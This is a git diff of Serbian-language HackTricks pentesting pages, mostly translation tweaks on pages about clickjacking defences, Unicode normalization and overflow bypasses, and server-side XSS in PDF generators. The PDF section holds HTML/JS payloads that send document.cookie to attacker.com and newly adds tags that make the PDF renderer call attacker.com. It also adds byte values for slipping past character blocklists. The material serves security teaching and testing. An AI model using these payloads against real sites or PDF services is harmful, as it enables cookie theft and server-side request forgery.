@ -153,7 +155,7 @@ Dalje informacije i složeni primeri mogu se naći u [frame-ancestors CSP dokume
|
||||
|
||||
### Content Security Policy (CSP) sa `child-src` i `frame-src`
|
||||
|
||||
**Content Security Policy (CSP)** je bezbednosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada injekcije koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
|
||||
**Content Security Policy (CSP)** je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada sa injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
|
||||
|
||||
#### `frame-src` Direktiva
|
||||
|
||||
@ -189,7 +191,7 @@ top.location = self.location
|
||||
```
|
||||
#### Korišćenje Anti-CSRF Tokena
|
||||
|
||||
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno izvršeni od strane korisnika, a ne putem Clickjacked stranice.
|
||||
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno poslati od strane korisnika, a ne kroz Clickjacked stranicu.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike preuzete odatle).
|
||||
**Ovo je sažetak:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Pogledajte za više detalja (slike su preuzete odatle).
|
||||
|
||||
## Razumevanje Unikoda i Normalizacije
|
||||
|
||||
@ -17,8 +17,8 @@ Postoje **četiri algoritma normalizacije Unikoda**: NFC, NFD, NFKC i NFKD. Svak
|
||||
|
||||
Razumevanje kodiranja Unikoda je ključno, posebno kada se radi o problemima interoperabilnosti među različitim sistemima ili jezicima. Evo glavnih tačaka:
|
||||
|
||||
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričku vrednost poznatu kao "kodni poen".
|
||||
- **Reprezentacija Bajtova**: Kodni poen (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) predstavljaju se koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
|
||||
- **Kodni Poeni i Karakteri**: U Unikodu, svaki karakter ili simbol je dodeljen numeričkoj vrednosti poznatoj kao "kodni poen".
|
||||
- **Reprezentacija Bajtova**: Kodni poen (ili karakter) se predstavlja jednim ili više bajtova u memoriji. Na primer, LATIN-1 karakteri (uobičajeni u zemljama gde se govori engleski) se predstavljaju koristeći jedan bajt. Međutim, jezici sa većim skupom karaktera zahtevaju više bajtova za reprezentaciju.
|
||||
- **Kodiranje**: Ovaj termin se odnosi na to kako se karakteri transformišu u niz bajtova. UTF-8 je prevalentni standard kodiranja gde se ASCII karakteri predstavljaju koristeći jedan bajt, a do četiri bajta za druge karaktere.
|
||||
- **Obrada Podataka**: Sistemi koji obrađuju podatke moraju biti svesni kodiranja koje se koristi da bi ispravno konvertovali bajt tok u karaktere.
|
||||
- **Varijante UTF**: Pored UTF-8, postoje i drugi standardi kodiranja kao što su UTF-16 (koristeći minimum 2 bajta, do 4) i UTF-32 (koristeći 4 bajta za sve karaktere).
|
||||
@ -91,14 +91,24 @@ Primetite da se, na primer, prvi predloženi Unicode karakter može poslati kao:
|
||||
|
||||
### Fuzzing Regexes
|
||||
|
||||
Kada backend **proverava korisnički unos pomoću regex-a**, može biti moguće da je **unos** **normalizovan** za **regex** ali **ne** za mesto gde se koristi. Na primer, u Open Redirect ili SSRF, regex može **normalizovati poslati URL** ali zatim **pristupiti njemu onakvom kakav jeste**.
|
||||
Kada backend **proverava korisnički unos pomoću regex-a**, može biti moguće da je **unos** **normalizovan** za **regex** ali **ne** za mesto gde se **koristi**. Na primer, u Open Redirect ili SSRF, regex može **normalizovati poslati UR**L, ali zatim **pristupiti njemu onakvom kakav jeste**.
|
||||
|
||||
Alat [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* omogućava **generisanje varijacija unosa** za fuzzing backend-a. Za više informacija pogledajte **github** i ovu [**objavu**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Alat [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* omogućava **generisanje varijacija unosa** za fuzzing backend-a. Za više informacija pogledajte **github** i ovaj [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## Unicode Overflow
|
||||
|
||||
Sa ovog [bloga](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), maksimalna vrednost bajta je 255, ako je server ranjiv, može se napraviti overflow koji proizvodi specifičan i neočekivan ASCII karakter. Na primer, sledeći karakteri će biti konvertovani u `A`:
|
||||
|
||||
- 0x4e41
|
||||
- 0x4f41
|
||||
- 0x5041
|
||||
- 0x5141
|
||||
|
||||
## Reference
|
||||
|
||||
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
|
||||
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@ Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete po
|
||||
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
|
||||
|
||||
Molimo vas, primetite da `<script></script>` tagovi ne rade uvek, tako da će vam biti potrebna drugačija metoda za izvršavanje JS (na primer, iskorišćavanje `<img` ).\
|
||||
Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da vidite/preuzmete kreirani pdf**, tako da ćete moći da vidite sve što **pišete putem JS** (koristeći `document.write()` na primer). Ali, ako **ne možete da vidite** kreirani PDF, verovatno ćete morati da **izvučete informacije praveći web zahteve ka vama** (Blind).
|
||||
Takođe, imajte na umu da ćete u redovnoj eksploataciji moći da **vidite/preuzmete kreirani pdf**, tako da ćete moći da vidite sve što **pišete putem JS** (koristeći `document.write()` na primer). Ali, ako **ne možete da vidite** kreirani PDF, verovatno ćete morati da **izvučete informacije praveći web zahteve ka vama** (Blind).
|
||||
|
||||
### Popular PDF generation
|
||||
|
||||
@ -22,7 +22,7 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
|
||||
|
||||
### Discovery
|
||||
```html
|
||||
<!-- Basic discovery, Write somthing-->
|
||||
<!-- Basic discovery, Write something-->
|
||||
<img src="x" onerror="document.write('test')" />
|
||||
<script>document.write(JSON.stringify(window.location))</script>
|
||||
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
|
||||
@ -32,6 +32,22 @@ Takođe, imajte na umu da ćete u redovnoj eksploataciji biti **u mogućnosti da
|
||||
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
|
||||
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
|
||||
<link rel=attachment href="http://attacker.com">
|
||||
|
||||
<!-- Using base HTML tag -->
|
||||
<base href="http://attacker.com" />
|
||||
|
||||
<!-- Loading external stylesheet -->
|
||||
<link rel="stylesheet" src="http://attacker.com" />
|
||||
|
||||
<!-- Meta-tag to auto-refresh page -->
|
||||
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
|
||||
|
||||
<!-- Loading external components -->
|
||||
<input type="image" src="http://attacker.com" />
|
||||
<video src="http://attacker.com" />
|
||||
<audio src="http://attacker.com" />
|
||||
<audio><source src="http://attacker.com"/></audio>
|
||||
<svg src="http://attacker.com" />
|
||||
```
|
||||
### SVG
|
||||
|
||||
@ -151,7 +167,7 @@ Ova ranjivost se može vrlo lako pretvoriti u SSRF (jer možete naterati skriptu
|
||||
|
||||
### Attachments: PD4ML
|
||||
|
||||
Postoje neki HTML 2 PDF motori koji omogućavaju da **specifikujete priloge za PDF**, kao što je **PD4ML**. Možete zloupotrebiti ovu funkciju da **priložite bilo koju lokalnu datoteku** PDF-u.\
|
||||
Postoje neki HTML 2 PDF alati koji omogućavaju da **specifikujete priloge za PDF**, kao što je **PD4ML**. Možete zloupotrebiti ovu funkciju da **priložite bilo koju lokalnu datoteku** PDF-u.\
|
||||
Da bih otvorio prilog, otvorio sam datoteku sa **Firefox-om i dvaput kliknuo na simbol spajalice** da **sačuvam prilog** kao novu datoteku.\
|
||||
Zahvatanje **PDF odgovora** sa burp-om takođe bi trebalo da **prikaže prilog u čistom tekstu** unutar PDF-a.
|
||||
```html
|
||||
@ -169,5 +185,6 @@ icon="Paperclip" />
|
||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user